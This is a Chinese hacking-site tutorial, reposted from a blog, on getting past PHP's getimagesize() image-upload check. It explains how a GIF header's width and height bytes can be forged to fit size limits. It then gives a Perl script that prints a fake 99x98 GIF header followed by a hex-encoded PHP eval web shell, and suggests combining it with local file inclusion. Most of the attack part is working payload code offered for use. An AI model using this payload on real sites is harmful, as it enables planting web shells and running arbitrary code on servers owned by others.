| 网站首页 | Vip会员区 | 教程 | 下载 | 图片 | QQ家园 | 免费资源 | 在线服务 | 论坛 | 博客 | 程序开发 | It学堂 | 作品发布 | 
站点相关
代刻黑客光盘或订做光盘

精品软件程序定制

为您的网站或者服务器保驾护航
相关内容
最 新 热 门
相 关 文 章
没有相关文章
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> 黑客文献 >> 正文
Bypass getimagesize()函数缺陷
文章录入:7747.Net    责任编辑:7747.Net 

【字体:

Bypass getimagesize()函数缺陷
转自:cooldiyer's blog


很多php代码都用getimagesize()来判断你上传文件是不是图片,很多人在黑盒测试都会使用在php代码前加个GIF89a来绕过这样的代码:

if(getimagesize($file)){
print yes;
}else{
print no;
}

 

但是有很多的情况还有其他的限制,比如分辨率n x n 如以下代码:

if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
if ($size['0'] > 100 || $size['1'] > 100) {
unlink(IMAGES."avatars/".$avatarname);
$set_avatar = "";

 

先看看gif文件头:


00000000h: 47 49 46 38 39 61 AB 02 E5 03 B3 00 00 00 80 00 ; GIF89a???..?.
G I F 8 9 a $size['0'] $size['1']
$size['0']x$size['1'] = [AB 02]683 x [E5 03]997

 

perl代码:


#!/usr/bin/perl
#The Script could pass getimagesize()

#gif size: 99x98 pixels
$gifhead="\x47\x49\x46\x38\x39\x61". #GIF89a
"\x63\x00".#99
"\x62\x00";#98

$phpcode="\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x5d\x29\x3f\x3e";#<?php @eval

($_POST[c])?>

print $gifhead.$phpcode;

 


应该说getimagesize只是一部分检测 这样要和其他漏洞配合,比如本地包含 一般上穿严格限制了文类型 还用getimagesize判断是不是图片 。
比如:http://www.4ngel.net/article/57.htm

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     | 设为首页 | 加入收藏 | 广告服务 | 我要投稿 | 关于我们 | 版权申明 | 免责声明 | 隐私声明 | 网站地图 |